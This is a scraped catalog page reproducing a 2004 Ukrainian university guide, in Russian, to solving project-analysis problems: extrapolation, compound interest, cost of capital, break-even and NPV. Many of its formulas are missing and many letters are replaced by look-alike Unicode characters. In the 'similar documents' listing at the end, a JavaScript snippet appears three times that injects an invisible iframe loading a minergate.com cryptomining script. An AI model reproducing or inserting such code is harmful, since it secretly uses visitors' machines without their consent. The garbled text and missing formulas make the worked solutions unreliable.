-



   Практикум Проектный анализ31.doc




doc.png  Тип документа: Рефераты


type.png  Предмет: Проектный анализ


type.png  ВУЗ: Северодонецкий технологический институт


size.png  Размер: 362.5 Kb

32

Миʜᴎϲтерство  образования И НАУКИ Украины

восточноукраинский  НАЦИОНАЛЬНЫЙ
университет ИМ. вЛаДИМИРА дАЛЯ

северодонецкий  технологический  институт 

МЕТОДИЧЕСКИЕ УКАЗАНИЯ К ВЫПОЛНЕНИЮ

КОНТРОЛЬНЫХ РАБОТ ПО ДИСЦИПЛИНЕ:
"Проектный анализ"

(для студенᴛᴏʙ специальности

7.050107 "Экономика предприятия" заочной формы обучения)

Утверждено

на заседании кафедры  

экономики предприятия.

Протокол №   от    .   .           г.

Северодонецк      2004


УДК 711.16.658

Методические указания к выполнению контрольных работ по дисциплине: «Проектный анализ» (для студенᴛᴏʙ, обучающихся по специальности 7.050107 "Экономика предприятия" заочной формы обучения)/Сост. С.Ф.Большенко, И.В.Моргачев – Северодонецк,: СТИ, 2004. – 31 С.

Приведены типовые задачи предусмотренные изучением курса «Проектный анализ» и способы их решения. Рассмотрены возможности применения методов непосредственной экстраполяции, анализа безубыточности, чистого дисконтированного дохода, внутренней нормы доходности и др. в проектном анализе.

Составитель                                                      С.Ф.Большенко, доц.

                                                                           И.В.Моргачев, асс.

Отв. за выпуск                                                   В.Н.Гончаров, проф.

Рецензент                                                           Г.Г. Снопенко, доц...


СОДЕРЖАНИЕ

[1] Тема 1: Метод непосредственной экстраполяции в проектном анализе

[1.1]                                                                              (1)

[1.1.1] Для второго случая расчетные уровни исчисляются по формуле:

[1.2]                                                                                                    (2)

[1.3] где  – средний темп роста

[2] Тема 2: Определение стоимости денег во времени: наращивание и дисконтирование денег

[2.0.0.1] Расчет будущей стоимости денег по формуле простых проценᴛᴏʙ

[3] Тема 3: Определение стоимости заемного капитала

[4] Тема 4: Планирование объема реализации продукции при условии заданной суммы прибыли

[5] Тема 5: Методика анализа безубыточности проекта

[6] Тема 6: Основные критерии эффективности инвестиционного проекта и методы оценки

Список использованной литературы……………………...31


Тема 1: Метод непосредственной экстраполяции в проектном анализе

Наиболее простым методом прогнозирования по одному ряду динамики является применение средних характеристик данного ряда: среднего абсолютного прироста и среднего темпа роста.

Важно понимать - для первого случая расчетный уровень динамического ряда  на любую дату определяется по формуле:

                                                                             (1)

где  начальный уровень ряда;

 средний абсолютный прирост;

 порядковый номер даты (года, квартала, месяца и т.д.).

Для второго случая расчетные уровни исчисляются по формуле:

                                                                                                   (2)

где – средний темп роста

,                                                      (3)

количество показателей;

- значение показателя на определенный период времени и предшествующий ему.

Пример решения типовой задачи

Задача 1.1:

    Используя данные ниже приведенной таблицы, определите прибыль предприятия в плановом периоде с применением метода непосредственного экстраполирования.

                                                                                                              Таблица  1.1

Исходные данные

Годы

1

2

3

4

5

6

7

8

9

10

Прибыль, тыс.грн

28

30

34

33

35

35

36

36

39

41

Решение:

1. Важно понимать - для осуществления прогноза на базе среднего абсолютного прироста определим средний абсолютный прирост:

               Исходя из найденного значения среднего абсолютного прироста можно рассчитать прогнозную величину прибыли в плановом периоде используя формулу (1):

  тыс.грн.

2. Важно понимать - для осуществления прогноза на базе среднего темпа роста необходимо вначале определить средний темп роста, используя формулу (3):

Исходя из найденного значения среднего темпа роста можно рассчитать прогнозную величину прибыли в плановом периоде используя формулу (2):

  тыс.грн.

Вывод: незначительное расхождение в полученных разными способами результатах предоставляет возможность сделать вывод о надежности прогноза

. В качестве планируемого показателя прибыли может быть выбран показатель с меньшим абсолютным значением исходя из позиции минимизации коммерческого риска.


Тема 2: Определение стоимости денег во времени: наращивание и дисконтирование денег

Стоимость денег с течением времени изменяется с учетом нормы прибыльности на денежном рынке и рынке ценных бумаг

. В качестве нормы прибыльности выступает норма ссудного процента или доходность владельцев обыкновенных и привилегированных акций.

В процессе сравнения стоимости денежных средств при их вложении и возврате принято использовать два основных понятия: настоящую (современную) стоимость денег и будущую стоимость денег.

Будущая стоимость денег представляет собой ту сумму, в которую превратятся инвестированные в настоящий момент денежные средства через определенный период времени с учетом определенной процентной ставки.

Настоящая (современная) стоимость денег представляет собой сумму будущих денежных поступлений, приведенных к настоящему моменту времени с учетом определенной процентной ставки. Определение настоящей стоимости денег связано с процессом дисконтирования будущей стоимости, который представляет собой операцию, обратную наращению.

Различают две схемы начисления проценᴛᴏʙ: простые проценты и ᴄᴫᴏжные проценты.

Расчет будущей стоимости денег по формуле простых проценᴛᴏʙ

,                                                                      (4)

где  FV – будущая стоимость в ден. ед.;

PV -  текущая стоимость в ден. ед.;

n – продолжительность периода;

i – ставка процента в долях единицы.

Расчет будущей стоимости денег по формуле ᴄᴫᴏжных проценᴛᴏʙ

  n                                                                          (5)

Расчет будущей стоимости денег с учетом инфляции

n,                                                                                        (6)

где Ti – темп инфляции в долях единицы.

Расчет суммы начисленных проценᴛᴏʙ, дисконта, прибыли

                                                                                   (7)

   ,                                                                                              (8)

где I – дисконт, прибыль, сумма проценᴛᴏʙ в ден. ед.

Примеры решений типовых задач

Задача 2.1:

Предприятие планирует вложение части денежных средств в банк под 10 % годовых с начислением простых проценᴛᴏʙ.

Какую сумму денежных средств должно разместить предприятие на счете в банке, чтобы через три года получить 2 670 тыс.грн. Какую прибыль при этом оно получит?

Решение

Для решения данной задачи необходимо найти текущую стоимость денег используя формулу (4):

  тыс.грн.

Для определения суммы прибыли необходимо использовать формулу (8):

I =  2670,000 – 2053,846 = 616,154   тыс.грн.

Вывод:  для   того,   чтобы   предприятию   через  три  года  получить

2670 тыс.грн. при ставке проценᴛᴏʙ 10 % в год оно должно инвестировать 2053,846 тыс.грн. , при этом прибыль составит 616,154 тыс.грн.

Задача 2.2:

Для финансирования проекта предприятие планирует использовать кредит банка в сумме 8000 тыс.грн. Процентная ставка выплачивается ежеквартально в размере 7 %.

Определить сумму процентных выплат за год при начислении простых проценᴛᴏʙ по кредиту и общую стоимость проекта, если проект рассчитан на один год.

Решение:

               

Определяем сумму процентных выплат используя формулу (7):

  тыс.грн.

Определяем общую стоимость проекта используя формулу (4):

  тыс.грн.

Вывод: при заданных условиях сумма процентных выплат банку составит 2240 тыс.грн. , общая стоимость проекта составит 10240 тыс.грн.

Задача 2.3:

Предприятие осуществляет финансовые вложения в сумме 13 тыс.грн. Процентная ставка составляет 14 % годовых с начислением ᴄᴫᴏжных проценᴛᴏʙ.

Определить сумму, которая будет получена предприятием через три года, а кроме того сумму дисконта.

Решение:

Для решения данной задачи необходимо найти будущую стоимость денег используя формулу (5):

FV = 13 (1 + 0,14) 3 =  19,26 тыс.грн.        

Сумма дисконта определяется по формуле (8):

I = 19,26 – 13 = 6,26 тыс.грн.

Вывод: при заданных условиях через три года предприятием будет получена   сумма   в    размере    19,26   тыс.грн. ,    сумма   дисконта    составит

6,26 тыс.грн.

Задача 2.4:

Имеется несколько варианᴛᴏʙ вложения денежных средств в виде депозитного вклада сроком на один год: первый вариант предполагает выплату по ᴄᴫᴏжным процентам в размере 3,15 % в квартал, второй – 4,2 % один раз в четыре месяца, третий – 6,3 % два раза в год, четвертый – 13 % годовых с выплатой в конце года.

Какой из варианᴛᴏʙ является наиболее выгодным? Размер инвестиций – 5000 тыс.грн.

Решение:

Для решения данной задачи необходимо определить будущую стоимость денег по каждому варианту. Наибольшая величина будущей стоимости будет свидетельствовать о максимальной эффективности варианта.

Важно понимать - для определения будущей стоимости денег необходимо использовать формулу (5).

Решение представим в виде таблицы:

Таблица  2.1

Определение будущей стоимости денег по разным вариантам вложения денежных средств

№ ва-рианта

Текущая стоимость, грн.

Ставка %

Будущая стоимость в конце периода, грн.

1

2

3

4

1

5000

3,15 % в квартал

5158

5320

5488

5660

2

5000

4,2 % за 1/3 года

5210

5429

5657

3

5000

6,3 % за пол года

5315

5650

4

5000

13 % в год

5650

Вывод: при большем количестве платежных периодов и меньшей ставке процента наибольшая будущая стоимость денежных средств достигается при первом варианте вложения денежных средств, следовательно он является наиболее эффективным.

Задача 2.5:

Годовой    дивиденд     на   привилегированную    акцию    составляет

150 грн. , ставка дисконта – 20 % в год. Определить рыночную стоимость акции.

Решение:

Для определения рыночной стоимости акции необходимо рассчитать текущую стоимость денег исходя из формулы (7) нахождения суммы дисконта (проценᴛᴏʙ) в ден. ед.

   грн.

Ответ: при заданных условиях рыночная стоимость акции составляет 750 грн.

Задача 2.6:

Предприятие намерено приобрести новую машину. Полная стоимость машины с дополнительными затратами составляет 11076 грн. Продав старую машину предприятие выручит 3076 грн. Существует три варианта займа недостающих средств:

  1.  кредит на 24 месяца под 26 % годовых с начислением ᴄᴫᴏжных проценᴛᴏʙ;
  2.  банковский займ на 36 месяцев под 20 % годовых с начислением простых проценᴛᴏʙ;
  3.  кредит финансовой компании на 48 месяцев под 12 % годовых с начислением ᴄᴫᴏжных проценᴛᴏʙ.

Выбрать наилучший вариант.

Решение:

Для решения данной задачи необходимо определить будущую стоимость денег по каждому варианту. Наименьшая будущая стоимость будет самым оптимальным вариантом, при этом текущая стоимость денег составляет разницу между стоимостью новой машины и получаемую компенсацию за старую машину, то есть 11076 – 3076 = 8000 грн.

1) для расчета будущей стоимости по первому варианту необходимо использовать формулу (5):

  грн.

2) для расчета будущей стоимости по второму варианту необходимо использовать формулу (4):

  грн.

3) для расчета будущей стоимости по третьему варианту необходимо использовать формулу (5):

  грн.

Вывод: наименьшая будущая стоимость денег достигается в третьем варианте, следовательно он является лучшим среди других.  

Задача 2.6:

Необходимо определить реальную будущую стоимость инвестируемых денежных средств при следующих условиях: объем инвестиций 100 тыс.грн. , период инвестирования – 2 года, ставка процента – 14 % годовых, ожидаемый годовой темп инфляции - 6 % в год.

Решение:

Реальная будущая стоимость денег с учетом инфляции определяется по формуле (6):

  грн.

Вывод: при заданных условиях реальная будущая стоимость денег составляет 115,664 тыс.грн.

Тема 3: Определение стоимости заемного капитала

Стоимость капитала – это доход, который должны принести инвестиции для того, чтобы они себя оправдали с точки зрения инвестора. Стоимость капитала выражается в виде процентной ставки (или доли единицы) от суммы капитала, которую следует заплатить инвестору в течение года за использование его капитала. Ставка дисконта – это и есть стоимость или цена использования капитала.

В стабильно действующей экономике величина нормы дисконта относительно собственного капитала определяется исходя из депозитного процента по вкладам с учетом риска и инфляции.

Цена заемного капитала определяется ставкой ссудного процента, которая определяется условиями процентных выплат и погашения кредиᴛᴏʙ.

В случае смешанного финансирования норму дисконта можно охарактеризовать как средневзвешенную стоимость капитала, рассчитанную с учетом его структуры:

         ,                                                                                          (9)

где Е – средневзвешенная стоимость капитала;

     Еi – стоимость i – го капитала;

     di – удельный вес i – го капитала.

Пример решения типовой задачи

Задача 3.1:

Инвестиционный проект финансируется на 40 % за счет кредиторов (ставка процента – 25 % годовых), на 40 % за счет эмиссии акций (ставка процента – 15 % годовых) и за счет средств госбюджета на 20 % (беспроцентный целевой кредит).

Определить цену заемного капитала.

Решение:

Для определения цены заемного капитала необходимо использовать формулу (9):

  %

Вывод: при заданных условиях цена заемного капитала составляет 16 %.

Задача 3.2

Предприятие планирует осуществление проекта со сроком его реализации – 3 года. За указанный период доход предприятия составит  - 26 % годовых с начислением ᴄᴫᴏжных проценᴛᴏʙ с выплатой их в конце срока реализации проекта.

Ожидаемый годовой темп инфляции – 7 % в год. Стоимость проекта – 4 млн. грн. При этом проект финансируется на 40 % за счет кредиторов (ставка процента 20 % годовых с начислением ᴄᴫᴏжных проценᴛᴏʙ, выплата которых происходит в конце срока реализации проекта в месте с основной суммой долга), на 45 % - за счет эмиссии акций (ставка процента 15 % годовых с начислением ᴄᴫᴏжных проценᴛᴏʙ, выплата которых происходит в конце срока реализации проекта вместе с погашением номинальной стоимости акций акционерам) и за счет средств госбюджета на 15 % (беспроцентный целевой кредит).

Определить реальную прибыль предприятия от реализации проекта.

Решение

Для определения общих денежных поступлений или денежного притока используем формулу (5):

FVпоступлений = 4000000 • (1 + 0,26)3 = 8001504 грн.

Для определения средневзвешенной стоимости заемного капитала используем формулу (9):

Е = 20 % • 0,40 + 15 % • 0,45 + 0 % • 0,15 = 14,75 %

Для определения общих денежных выплат или денежного оттока используем формулу (5):

FV выплат = 4000000 • (1 + 0,1475)3 = 6043911 грн.

Прибыль от реализации проекта составит разницу между денежными поступлениями и денежными выплатами:

Прибыль = FV поступлений – FV выплат = 8001504 – 6043911 =

= 1957593 грн.

Для определения реальной прибыли необходимо учесть темп инфляции, таким образом реальная прибыль от реализации проекта составит:

, где

n – срок реализации проекта;

Тi – годовой темп инфляции в долях единицы.

  грн.

Ответ:    реальная    прибыль    от    реализации    проекта   составит

1597797 грн.

Тема 4: Планирование объема реализации продукции при условии заданной суммы прибыли

Вводимые обозначения и используемые формулы:

Q – объем реализации продукции в натуральных единицах измерения;

P – цена продукции в ден. ед.;

AVC – средние переменные издержки в ден. ед.;

VC -  условно - переменные издержки в ден. ед;

FC – условно - постоянные издержки в ден. ед;

TC – валовые (общие) издержки в ден. ед;

TR – выручка от реализации в ден. ед;

П – прибыль в ден. ед.

1.                                                                                 (10)

2.                                                                                (11)

3.                                                                                         (12)

4.                                                                                  (13)

Пример решения типовой задачи

Задача:

Рассчитайте объем реализации продукции, при котором предприятие получит прибыль в сумме 400 тыс.грн.

Данные о затратах и доходе представлены в табл. 3:

Таблица  3

Исходные данные

Q, тыс.шт.

AVC, грн.

Р, грн.

FC, тыс.грн.

100

195

240

8600

150

197

240

8600

200

199

240

8600

250

205

240

8600

300

210

240

8600

Решение:

Для решения данной задачи необходимо определить прибыль по каждому объему реализации по формуле (13)

. В связи с этим необходимо рассчитать выручку от реализации (
TR) и общие (валовые) издержки (TC) при каждом заданном объеме реализации. Выручка от реализации рассчитывается по формуле (12). При нахождении общих издержек используется формула (11), условно-постоянные издержки заданы по условию задачи, условно – переменные издержки (VC) определяются по формуле (10).

Решение представим в виде табл. 4:

Таблица  4

Расчет показателей

Q, тыс.шт

AVC, грн.

Р, грн.

FC, тыс.грн.

VC,

тыс.грн

TC, тыс.грн

TR, тыс.грн

П, тыс.грн

1

2

3

4

5

6

7

8

к.2 х к.1

к.4 + к.5

к.1 х к.3

к.7 – к.6

100

195

240

8600

19500

28100

24000

-4100

150

197

240

8600

29550

38150

36000

-2150

200

199

240

8600

39800

48400

48000

-400

250

205

240

8600

51250

59850

60000

150

300

210

240

8600

63000

71600

72000

400

Вывод: при заданных условиях прибыль в сумме 400 тыс.грн. будет получена при объеме реализации 300 тыс.шт.


Тема 5: Методика анализа безубыточности проекта

Анализ безубыточности, именуемый как анализ издержек, прибыли и объема производства (CVP – анализ) - это аналитический подход к изучению взаимосвязи между издержками и доходами при различных уровнях производства.

Основным показателем анализа безубыточности является порог рентабельности.

Порог рентабельности – объем производства при котором выручка от реализации равна валовым затратам.

Порог рентабельности в натуральных единицах рассчитывается по формуле:

,                                                                         (14)

где

ПР1 – порог рентабельности в натуральных единицах измерения;

FC – условно – постоянные издержки в ден. ед.;

Р – цена единицы продукции в ден. ед.;

AVC – средние переменные издержки или условно-переменные издержки на единицу продукции в ден. ед.

Если задача заключается в определении целевого объема продаж QT, то есть такого значения объема продаж, которое соответствует заданному значению прибыли ПТ, то используется следующая формула:

,                                                                              (15)

где

QT – объем продаж, при котором достигается прибыль ПТ;

ПТ -  прибыль, которая достигается при объеме продаж QT;

Другим подходом определения порога рентабельности является подход, базирующийся на базе валовой маржи.

Валовая маржа – промежуточный финансовый результат – результат от реализации продукции проекта после возмещения переменных затрат.

Валовая маржа определяется по формуле:

,                                                    (16)

где ВМ – валовая маржа в ден. ед.;

TR – валовая выручка от реализации продукции в ден. ед.;

VC – условно – переменные издержки в ден. ед.;

П – прибыль от реализации продукции в ден. ед.

Определение валовой маржи необходимо для расчета коэффициента валовой маржи.

Коэффициент валовой маржи характеризует удельный вес валовой маржи в общей выручке от реализации продукции, работ. Он определяется по формуле:

,                                                                                   (17)

где Квм – коэффициент валовой маржи;

Отсюда порог рентабельности в ден. ед. определяется по формуле:

, где                                                                           (18)

ПР2 – порог рентабельности в ден. ед.

                                                                                   (19)

                                                                             (20)

Важной характеристикой успешной работы предприятия является величина запаса финансовой прочности, который определяется по формуле:

                                                                                      (21)

,                                                                      (22)

где Q – объем реализации (производства) в натуральных единицах измерения;

ЗФП1 – запас финансовой прочности в натуральных единицах измерения;

ЗФП2 – запас финансовой прочности в ден. ед.

Чем выше ϶ᴛόᴛпоказатель, тем безопаснее себя чувствует предприятие перед угрозой негативных изменений (уменьшения выручки или увеличения издержек).

Примеры решения типовых задач

Задача 5.1:

Маркетинговая служба предприятия, производящего краску, осуществила прогноз цены 1 банки краски на предстоящий год в размере 100,00 грн. Условно – переменные расходы на 1 банку краски на предстоящий год планируются на уровне 70,00 грн. Условно – постоянные расходы планируются в раз мере 53 тыс.грн. .

Определить порог рентабельности в натуральных единицах измерения.

Решение:

Для определения порога рентабельности в нутуральных единицах измерения возможно использование формулы (14):

  банок.

Вывод: при заданных условиях порог рентабельности составляет 1767 банок.

Задача 5.2:

За анализируемый период прибыль предприятия, производящего краску составила 5000 грн. , условно – постоянные расходы составили 30000 грн. , общая выручка от реализации составила 120000 грн.

Определить сумму выручки от реализации при котором предприятие бы имело нулевую прибыль.

Решение:

Для решения данной задачи необходимо определить валовую маржу, используя формулу (16), коэффициент валовой маржи, используя формулу (17):

ВМ = 5000 + 30000 = 35000   грн.

Для определения объема выручки от реализации при котором предприятие бы имело нулевую прибыль необходимо использовать формулу (18).

  грн.

Вывод: при заданных условиях объем выручки от реализации при которой предприятие имеет нулевую прибыль составляет 102845 грн.

Задача 5.3:

Фирма планирует продажу плакаᴛᴏʙ для турисᴛᴏʙ по цене 3,6 долл. за   штуку.   Фирма   имеет   возможность  приобретать плакаты оптом по цене

2,3 долл. за шт. Аренда палатки – 600 долл. в неделю.

 а) каков порог рентабельности или какова точка безубыточности?

 б) каким станет порог рентабельности если аренда возрастет до 900 долл. в неделю?

 в) каким будет порог рентабельности если удастся повысить цену до 4 долл. за шт.?

 г) каким станет порог рентабельности, если закупочная цена плакаᴛᴏʙ возрастет до 2,5 долл. за шт.?

 д) сколько плакаᴛᴏʙ должно быть продано для получения прибыли в сумме 500 долл. в неделю?

 е)  какой  запас  финансовой  прочности  имеет  бизнес  при  сумме  прибыли

500 долл. в неделю?

Решение:

Принимаем, что стоимость аренды палатки – условно – постоянные издержки (FC), цена закупки плакаᴛᴏʙ – условно – переменные издержки на один плакат (AVC). Важно понимать - для определения порога рентабельности по заданию а, б, в, г возможно использование формулы (14):

 а)    шт.;

 б)    шт.;

 в)    шт.;

 г)    шт.;

 д) для определения количества продаваемых плакаᴛᴏʙ для получения прибыли в размере 500 грн. используем формулу (15):

  шт.

 е) для определения запаса прочности используем формулу (21, 22):

    ЗФП1 = 846 – 462 = 384   шт.;

     ЗФП2 = 384 • 3,6 = 1382,40   грн.

 

Тема 6: Основные критерии эффективности инвестиционного проекта и методы оценки

 

Показатели эффективности инвестиционного проекта включают в себя: чистый дисконтированный доход (чистую дисконтированную стоимость), индекс доходности, внутреннюю норму доходности (внутреннюю норму окупаемости) и срок окупаемости. Они используются для сравнения различных проекᴛᴏʙ или варианᴛᴏʙ одного проекта.

Чистый дисконтированный доход определяется как сумма текущих эффекᴛᴏʙ за весь расчетный период приведенная к начальному шагу или как превышение интегральных результаᴛᴏʙ над интегральными затратами. Чистый дисконтированный доход определяется по формуле:

ЧДД =                                                                                            (23)

где   ЧДД – чистый дисконтированный доход;

Rt – результаты достигаемые на шаге расчета t в ден. ед.;



Похожие документы


Микроконтроллеры AVR. Практикум для начинающих (В.Я. Хартов, 2007).djvu
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Кудряшов - Практикум по физической химии.djv
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Кудряшов - Практикум по физической химии (фото).djv
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Практикум Проектный анализ31.doc
32 Министерство  образования И НАУКИ Украинывосточноукраинский  НАЦИОНАЛЬНЫЙ университет ИМ. вЛаДИМИРА дАЛЯсеверодонецкий  технологический  институт...

Проектный анализ лек.doc
Змістстор. [1] стор. [2] Тема 1. Концепція проекту [2.0.0.1] Рекомендована література: [2.0.0.2] Верба В.А., Гребешкова О.М., Востряков О.В. Проектний аналіз: Навч.-метод. посібник для самост. вивч. дисц. – К.: КНЕУ, 2002. – 297с....

Bigreferat.ru - каталог учебной информации (c) 2013-2014 | * | Правообладателям